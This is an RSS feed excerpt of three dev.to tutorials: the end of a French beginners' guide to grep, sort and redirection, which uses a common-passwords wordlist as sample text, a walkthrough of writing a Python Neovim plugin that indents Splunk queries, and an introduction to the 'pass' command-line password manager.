&lt;p&gt;Prenons, la liste des 10 000 mots de passe les plus communs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt &lt;span class="nt"&gt;-O&lt;/span&gt; liste_mdp.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pour compter le nombre de ligne du fichier: &lt;code&gt;wc -l liste_mdp.txt&lt;/code&gt;. Si tout va bien, vous verrez 10 000.&lt;/p&gt;

&lt;p&gt;Maintenant cherchons le mot "pass" dans cette liste : &lt;code&gt;grep "pass" liste_mdp.txt&lt;/code&gt;. Il y a plus de résultats que nous pouvons compter, comptons:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"pass"&lt;/span&gt; liste_mdp.txt | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Est-ce possible que nous ayons des doublons ? Peu probable, mais testons cela grâce à la commande &lt;code&gt;sort&lt;/code&gt; ("trier" en anglais):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"pass"&lt;/span&gt; liste_mdp.txt | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Pourquoi mettons &lt;code&gt;sort&lt;/code&gt; avant &lt;code&gt;wc&lt;/code&gt; ? Parce que nous voulons compter le nombre de mots après qu'ils soit triés.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;La dernière étape de ce tutoriel, sera de sauvegarder le résultat de notre recherche dans un fichier. Pour cela nous utiliserons les chevrons: &lt;code&gt;&amp;gt;&lt;/code&gt; et &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Ces deux caractères nous permettent, comme la barre verticale, de rediriger le résultat d'une fonction mais cette fois-ci afin de l'écrire dans un fichier.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"pass"&lt;/span&gt; liste_mdp.txt | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; resultat.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;La différence entre &lt;code&gt;&amp;gt;&lt;/code&gt; et &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;, c'est que &lt;code&gt;&amp;gt;&lt;/code&gt; récriera votre fichier tandis que &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; ajoutera le résultat à la fin du fichier ("append" en anglais). Donc si vous rajoutez des informations, utilisez plutôt &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; au risque de perdre vos recherches précédentes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Maintenant vous pouvez faire: &lt;code&gt;cat resultat.txt&lt;/code&gt; et vous verrez le résultat de votre recherche !&lt;/p&gt;

&lt;h1&gt;
  
  
  Pourquoi est-ce utile ?
&lt;/h1&gt;

&lt;p&gt;Je suis bien conscient que ces quelques exemples peuvent paraître un peu abscons lorsqu'on débute. Pourtant ce genre de recherches est très courantes lorsque vous travaillez avec de volumineux fichiers comme les données de connexion sur un serveur ou bien d'importantes listes.&lt;/p&gt;

&lt;p&gt;Maintenant vous savez :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;naviguer dans l'arbre à fichier&lt;/li&gt;
&lt;li&gt;afficher le contenu d'un fichier et d'un dossier&lt;/li&gt;
&lt;li&gt;créer, copier, effacer des fichiers et des dossiers&lt;/li&gt;
&lt;li&gt;télécharger des pages web&lt;/li&gt;
&lt;li&gt;chercher des occurrences, les compter, les trier et les sauver&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Voici quelques astuces en plus proposées par dattaz sur &lt;a href="https://twitter.com/dat_taz/status/1347241284533182466"&gt;Twitter&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cd -&lt;/code&gt; : retour au dossier précédent&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;man&lt;/code&gt; : pour avoir le documentation des options des commandes. Example: &lt;code&gt;man cd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep&lt;/code&gt; peut compter directement les lignes avec l'option -c. Example: &lt;code&gt;grep -c " love " texte_complet.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Autre astuce &lt;code&gt;grep&lt;/code&gt; l'option &lt;code&gt;-v&lt;/code&gt; qui permet d'afficher toutes les lignes qui n'ont PAS le mot.&lt;/p&gt;

&lt;p&gt;Ainsi qu'une précision : &lt;code&gt;sort&lt;/code&gt; utilisé sans options va seulement trier votre liste par ordre alphabétique. C'est l'option &lt;code&gt;-u&lt;/code&gt; qui vous permettra de trier ainsi que d'enlever les doublons.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>tutorial</category>
      <category>linux</category>
      <category>french</category>
    </item>
    <item>
      <title>How I wrote my first Neovim plugin</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Tue, 15 Dec 2020 22:41:55 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/how-i-wrote-my-first-neovim-plugin-357h</link>
      <guid>https://dev.to/evilcel3ri/how-i-wrote-my-first-neovim-plugin-357h</guid>
      <description>&lt;p&gt;I am a big user of Vim and Neovim. I probably don't know all the bindings and all the magic inside, but I use it daily and it has become one of my favorite app.&lt;/p&gt;

&lt;p&gt;In previous articles (&lt;a href="https://dev.to/christalib/i-spent-3-years-configuring-n-vim-and-this-what-i-learnt-22on"&gt;here&lt;/a&gt; and &lt;a href="https://dev.to/christalib/n-vim-shortcuts-for-the-lazy-2pll"&gt;here&lt;/a&gt;), I've already went through some plugins I (used) to use and some configuration tips.&lt;/p&gt;

&lt;p&gt;But today, we are going to take one step further: writing a plugin!&lt;/p&gt;

&lt;h2&gt;
  
  
  The pain
&lt;/h2&gt;

&lt;p&gt;We use &lt;a href="https://www.splunk.com/en_us" rel="noopener noreferrer"&gt;Splunk&lt;/a&gt; at work a data-driven cloud app which has its own query language. Writing queries for Splunk can get cumbersome especially when they are starting to become larger and larger and you get lost in the amount of parenthesizes. &lt;/p&gt;

&lt;p&gt;The solution I found was to write a small python script that would indent and separate the different blocks allowing a more convenient way to read the queries. &lt;/p&gt;

&lt;p&gt;And then...&lt;/p&gt;

&lt;p&gt;What about making it a Neovim plugin? As Neovim has a python interface, it should work right? Spoiler: yes. &lt;/p&gt;

&lt;p&gt;Let's dive in!&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing a plugin
&lt;/h2&gt;

&lt;p&gt;First, we need to set a couple of things up. Python binaries must be in your shell PATH (you can check that with &lt;code&gt;:checkhealth&lt;/code&gt;). &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkjp4wek69inmz6psim64.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkjp4wek69inmz6psim64.png" alt="Screenshot of the result of :checkhealth"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see here, the python binaries are missing from the PATH and Neovim cannot run anything with it. So let's add those lines in our &lt;code&gt;init.vim&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let g:python3_host_prog = '/usr/bin/python3'
let g:python_host_prog = '/usr/bin/python2'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively you could add the binaries to you path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;:/usr/bin/python:/usr/bin/python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And check it with &lt;code&gt;echo $PATH&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then check that you have both version of &lt;code&gt;pynvim&lt;/code&gt;, the python Neovim library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 -m pip install pynvim
python -m pip install pynvim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that we can start setting up our repository and our folders:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# do your git magic here
mkdir -p rplugin/python
touch rplugin/python/nvim-test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to the &lt;a href="https://pynvim.readthedocs.io/en/latest/usage/remote-plugins.html" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;, remote plugins are the new way to do things so we're going to follow that.&lt;/p&gt;

&lt;p&gt;Let's look into &lt;code&gt;nvim-test.py&lt;/code&gt; and get some inspiration from this &lt;a href="https://github.com/jacobsimpson/nvim-example-python-plugin" rel="noopener noreferrer"&gt;Jacob Simpson's example&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pynvim&lt;/span&gt;

&lt;span class="nd"&gt;@pynvim.plugin&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestPlugin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nvim&lt;/span&gt;

    &lt;span class="nd"&gt;@pynvim.function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TestFunction&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;testFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello from your plugin!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking up the code:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We initialize the class and the subclass &lt;code&gt;nvim&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;We create a function that will overwrite the current line&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To test this, you could update your plugin on a git instance and update the plugins form your &lt;code&gt;init.vim&lt;/code&gt;. But... you could also use a test &lt;code&gt;vimrc&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"let &amp;amp;runtimepath.=','.escape(expand('&amp;lt;sfile&amp;gt;:p:h'), '&lt;/span&gt;&lt;span class="se"&gt;\,&lt;/span&gt;&lt;span class="s2"&gt;')"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; testvimrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now start &lt;code&gt;nvim -u testvimrc&lt;/code&gt; and run &lt;code&gt;:UpdateRemotePlugins&lt;/code&gt; this will register you plugin as a remote plugin and generate the manifest.  Check that with: &lt;code&gt;cat ~/.local/share/nvim/rplugin.vim&lt;/code&gt;, the file should not be empty and you should see your plugin there. &lt;/p&gt;

&lt;p&gt;Now, running &lt;em&gt;after reloading Neovim&lt;/em&gt;, &lt;code&gt;:call TestFunction()&lt;/code&gt; should normally work and you can test your work. I think that so far you need to reboot Neovim every time you update the remove plugins, but maybe there's a way to bypass that.&lt;/p&gt;

&lt;p&gt;Now for the work I did:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pynvim&lt;/span&gt;


&lt;span class="nd"&gt;@pynvim.plugin&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SplunkLinter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nvim&lt;/span&gt;

    &lt;span class="nd"&gt;@pynvim.function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;LintSplunk&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lintSplunk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;current_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;
        &lt;span class="n"&gt;front&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;front&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nvim&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before you say anything, I know this can be improved. Basically this code is going to indent a string based on the level of parenthesizes that it contains. It's basically what I need and it does the job!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test (on) (one) (one (two (three))) (one) ((two))

# to

test
    (on)
    (one)
    (one
        (two
            (three)))
        (one)
        (
            (two))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Github repo is here: &lt;a href="https://github.com/christalib/nvim-splunk-linter" rel="noopener noreferrer"&gt;https://github.com/christalib/nvim-splunk-linter&lt;/a&gt;, feel free to open issues, PR's and such!&lt;/p&gt;

&lt;p&gt;Have you already developed a plugin for Neovim or Vim? How did you do it?&lt;/p&gt;

</description>
      <category>vim</category>
      <category>todayilearned</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Pass: the simple CLI password manager</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Wed, 02 Dec 2020 10:52:54 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/pass-the-simple-cli-password-manager-3e8k</link>
      <guid>https://dev.to/evilcel3ri/pass-the-simple-cli-password-manager-3e8k</guid>
      <description>&lt;p&gt;Do you use a password manager? If not, you should. But which one should you choose? There are a lot out there and a lot of good free ones such as the Keepass (X, XC etc.) or paying versions such as LastPass (&lt;em&gt;edit: free for individuals&lt;/em&gt;) or OnePassword. This WIRED &lt;a href="https://www.wired.com/story/best-password-managers/"&gt;article&lt;/a&gt; lists some for you. &lt;/p&gt;

&lt;p&gt;Today, I'd like to talk about a really cool, simple, perfect for the CLI dwellers like us, password manager: &lt;a href="https://www.passwordstore.org/"&gt;pass&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Less is more
&lt;/h1&gt;

&lt;p&gt;Pass is a CLI password manager, this means that unless you use one of the &lt;a href="https://www.passwordstore.org/#other"&gt;available&lt;/a&gt; interfaces, you will only be working in your terminal. &lt;/p&gt;

&lt;p&gt;Pass works by using a GPG key to encrypt each passwords and stores the results in a Git repository. This means that backups are insanely easy: &lt;code&gt;git push origin main&lt;/code&gt; and that's it!&lt;/p&gt;

&lt;p&gt;In the past years, I have been using Keepass and KeepassXC a lot. I did like the way they worked but I was sometimes annoyed to keep a window open all the time for my passwords. Also, used to break my computers very often, I lost a certain amount of passwords over the time. &lt;/p&gt;

&lt;p&gt;Pass has the usability of any CLI tool and uses the basics of Bash &lt;a href="https://git.zx2c4.com/password-store/about/#COMMANDS"&gt;commands&lt;/a&gt; to manage your passwords. It's a dead simple encrypted folder and I have to say that is all I need. &lt;/p&gt;

&lt;h1&gt;
  
  
  Demo
&lt;/h1&gt;

&lt;p&gt;The demo was made on a Linux with &lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/Invoking-GPG_002dAGENT.html"&gt;gpg-agent&lt;/a&gt; installed.&lt;/p&gt;

&lt;p&gt;You would initialize your password repo like this (default location:  &lt;code&gt;~/.password-store&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass init yourgpgkeyID@securethings.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, after signing up for your favorite online service, you can generate or insert a new password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass insert &lt;span class="c"&gt;# then type your password&lt;/span&gt;
pass generate &lt;span class="nt"&gt;-c&lt;/span&gt; Newsletters/awesomeThing 32 &lt;span class="c"&gt;# to generate a 32 random password and copy it to the clipboard&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After, a couple of days later you can search for your password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass search awesomeThing &lt;span class="c"&gt;# and when you found the folder then:&lt;/span&gt;
pass &lt;span class="nt"&gt;-c&lt;/span&gt; Newsletters/awesomeThing
&lt;span class="c"&gt;# here you will need to decrypt your GPG key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's say you want to back all of this on a private Git repo (Github, Gitea, Gitlab...):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass git remote add origin URL
pass git push 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each pass command will run the &lt;code&gt;add&lt;/code&gt; and &lt;code&gt;commit&lt;/code&gt; for you, so you will only have to &lt;code&gt;push&lt;/code&gt; to your repo. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;Keep in mind that your GPG key is not backed up with your repo. You need to do to that separately.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Do you need to remove a password?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass &lt;span class="nb"&gt;rm &lt;/span&gt;Newsletters/awesomeThing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do you need to move a password?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pass &lt;span class="nb"&gt;mv &lt;/span&gt;Newsletters/awesomeThing Videos/awesomeThing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also &lt;code&gt;edit&lt;/code&gt;, &lt;code&gt;show&lt;/code&gt; and &lt;code&gt;cp&lt;/code&gt; the passwords. &lt;/p&gt;

&lt;p&gt;Ready to make the move? Check out those &lt;a href="https://www.passwordstore.org/#other"&gt;import scripts&lt;/a&gt; on the official website!&lt;/p&gt;

&lt;p&gt;Are you ready to use pass? What's your favorite password manager?&lt;/p&gt;

</description>
      <category>tooling</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
  </channel>
</rss>
